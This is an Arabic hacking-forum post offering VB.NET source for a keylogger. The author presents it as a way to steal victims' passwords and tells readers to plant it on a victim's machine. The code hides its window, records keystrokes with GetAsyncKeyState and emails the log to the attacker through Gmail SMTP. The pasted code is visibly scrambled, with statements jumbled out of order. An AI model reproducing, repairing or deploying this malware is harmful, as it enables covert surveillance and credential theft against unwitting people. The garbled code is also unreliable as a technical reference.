المساعد الشخصي الرقمي

مشاهدة النسخة كاملة : الكيلوجر سحب باسوردات الضحايا (vb.net)


Hacker007
08-27-16, 18:03
السلام عليكم
كيف الحال شباب انشاء الله تمام الصحه والعافيه يارب ...
موضوع اليوم مبين من العنوان سحب باسوردات الضحايا لي توجد في متصفحات الضحايا
طبعا طريقه ماعرف مطروحا سابقا ام لا لا اعلم حبيت افيد شباب

كود vb.net
تعمل كيلوجر من خلال الكود لي راح اوضع لكم

SMTP.Credentials = New System.Net.NetworkCredential("@gmail.com", "password")

هناا شباب كود يحتاج تضع اميل تبعك يكون شغال يمك gmail او yahoo
وتضع باسورد الاميل
===================================
SMTP.Port = "587"
هنااا يحتاج بورت لديك شغال لكي يصل تبليغ ليك
=====================================
عندما اكملت مشروع وعملت له حفظ build
تقوم برفع الكيلوجر في جهاز الضحيه وتعمل له run عندمل يشتغل يصل تبليغ على اميل تبعك لي وضعته
تلاقي رساله فيها جميع باسوردات
===============================
كود:
Imports System.Net.Mail
Public Class Form1
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Short
Public log As String
Me.Hide()
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
Me.ShowInTaskbar = False
Me.ShowIcon = False End Sub
Timer1.Start() ElseIf (GetAsyncKeyState(67)) Then
If (GetAsyncKeyState(65)) Then log = log + "A" ElseIf (GetAsyncKeyState(66)) Then
log = log + "B" log = log + "C" ElseIf (GetAsyncKeyState(70)) Then
ElseIf (GetAsyncKeyState(68)) Then log = log + "D" ElseIf (GetAsyncKeyState(69)) Then log = log + "E" log = log + "F" ElseIf (GetAsyncKeyState(73)) Then
ElseIf (GetAsyncKeyState(71)) Then log = log + "G" ElseIf (GetAsyncKeyState(72)) Then log = log + "H" log = log + "I" ElseIf (GetAsyncKeyState(74)) Then log = log + "M"
log = log + "J" ElseIf (GetAsyncKeyState(75)) Then log = log + "K" ElseIf (GetAsyncKeyState(76)) Then log = log + "L" ElseIf (GetAsyncKeyState(77)) Then ElseIf (GetAsyncKeyState(81)) Then
ElseIf (GetAsyncKeyState(78)) Then log = log + "N" ElseIf (GetAsyncKeyState(79)) Then log = log + "O" ElseIf (GetAsyncKeyState(80)) Then log = log + "P" log = log + "Q" log = log + "U"
ElseIf (GetAsyncKeyState(82)) Then log = log + "R" ElseIf (GetAsyncKeyState(83)) Then log = log + "S" ElseIf (GetAsyncKeyState(84)) Then log = log + "T" ElseIf (GetAsyncKeyState(85)) Then ElseIf (GetAsyncKeyState(90)) Then
ElseIf (GetAsyncKeyState(86)) Then log = log + "V" ElseIf (GetAsyncKeyState(87)) Then log = log + "W" ElseIf (GetAsyncKeyState(88)) Then log = log + "X" ElseIf (GetAsyncKeyState(89)) Then log = log + "Y" log = log + "3"
log = log + "Z" ElseIf (GetAsyncKeyState(48)) Then log = log + "0" ElseIf (GetAsyncKeyState(49)) Then log = log + "1" ElseIf (GetAsyncKeyState(50)) Then log = log + "2" ElseIf (GetAsyncKeyState(51)) Then ElseIf (GetAsyncKeyState(56)) Then
ElseIf (GetAsyncKeyState(52)) Then log = log + "4" ElseIf (GetAsyncKeyState(53)) Then log = log + "5" ElseIf (GetAsyncKeyState(54)) Then log = log + "6" ElseIf (GetAsyncKeyState(55)) Then log = log + "7" log = log + "8" ElseIf (GetAsyncKeyState(99)) Then
ElseIf (GetAsyncKeyState(57)) Then log = log + "9" ElseIf (GetAsyncKeyState(96)) Then log = log + "{Num0}" ElseIf (GetAsyncKeyState(97)) Then log = log + "{Num1}" ElseIf (GetAsyncKeyState(98)) Then log = log + "{Num2}" log = log + "{Num3}" log = log + "{Num8}"
ElseIf (GetAsyncKeyState(100)) Then log = log + "{Num4}" ElseIf (GetAsyncKeyState(101)) Then log = log + "{Num5}" ElseIf (GetAsyncKeyState(102)) Then log = log + "{Num6}" ElseIf (GetAsyncKeyState(103)) Then log = log + "{Num7}" ElseIf (GetAsyncKeyState(104)) Then log = log + "{Num-}"
ElseIf (GetAsyncKeyState(105)) Then log = log + "{Num9}" ElseIf (GetAsyncKeyState(106)) Then log = log + "{Num*}" ElseIf (GetAsyncKeyState(107)) Then log = log + "{Num+}" ElseIf (GetAsyncKeyState(13)) Then log = log + "{Enter}" ElseIf (GetAsyncKeyState(109)) Then ElseIf (GetAsyncKeyState(110)) Then log = log + "{Shift}"
log = log + "{Num.}" ElseIf (GetAsyncKeyState(111)) Then log = log + "{Num/}" ElseIf (GetAsyncKeyState(32)) Then log = log + " " ElseIf (GetAsyncKeyState(8)) Then log = log + "{Backspace}" ElseIf (GetAsyncKeyState(9)) Then log = log + "{Tab}" ElseIf (GetAsyncKeyState(16)) Then ElseIf (GetAsyncKeyState(17)) Then ElseIf (GetAsyncKeyState(36)) Then
log = log + "{Control}" ElseIf (GetAsyncKeyState(20)) Then log = log + "{Caps}" ElseIf (GetAsyncKeyState(27)) Then log = log + "{Esc}" ElseIf (GetAsyncKeyState(33)) Then log = log + "{PGup}" ElseIf (GetAsyncKeyState(34)) Then log = log + "{PGdn}" ElseIf (GetAsyncKeyState(35)) Then log = log + "{End}" log = log + "{Home}" log = log + "{Del}"
ElseIf (GetAsyncKeyState(37)) Then log = log + "{LArrow}" ElseIf (GetAsyncKeyState(38)) Then log = log + "{UArrow}" ElseIf (GetAsyncKeyState(39)) Then log = log + "{RArrow}" ElseIf (GetAsyncKeyState(40)) Then log = log + "{DArrow}" ElseIf (GetAsyncKeyState(45)) Then log = log + "{Insert}" ElseIf (GetAsyncKeyState(46)) Then ElseIf (GetAsyncKeyState(144)) Then Dim Mail As New MailMessage
log = log + "{NumLock}" ElseIf (GetAsyncKeyState(188)) Then log = log + "{,}" ElseIf (GetAsyncKeyState(1)) Then log = log + "[L]" ElseIf (GetAsyncKeyState(2)) Then log = log + "[R]" End If End Sub Private Sub Text_Closing(ByVal sender As Object, ByVal e As System.ComponentModel.CancelEventArgs) Handles MyBase.Closing sendmail() End Sub Private Sub sendmail() Mail.Subject = "Keylog" End Class
Mail.To.Add("@gmail.com") Mail.From = New MailAddress(".com") Mail.Body = log Dim SMTP As New SmtpClient(".com") SMTP.EnableSsl = True SMTP.Credentials = New System.Net.NetworkCredential("@gmail.com", "password") SMTP.Port = "587" SMTP.Send(Mail) End Sub

http://a.top4top.net/p_1680nae1.gif (http://a.top4top.net/p_1680nae1.gif)

انشاء الله يعجبكم الموضوع
وارجع واقول لا اعلم موضوع مطروح سابقا ام لا حبيت افيد شباب
ولي مافهم طريقه بيقول واعمل له فيديو
الى هنااا انتهى الموضوع
http://a.top4top.net/p_1680nae1.gif (http://a.top4top.net/p_1680nae1.gif)
في امان الله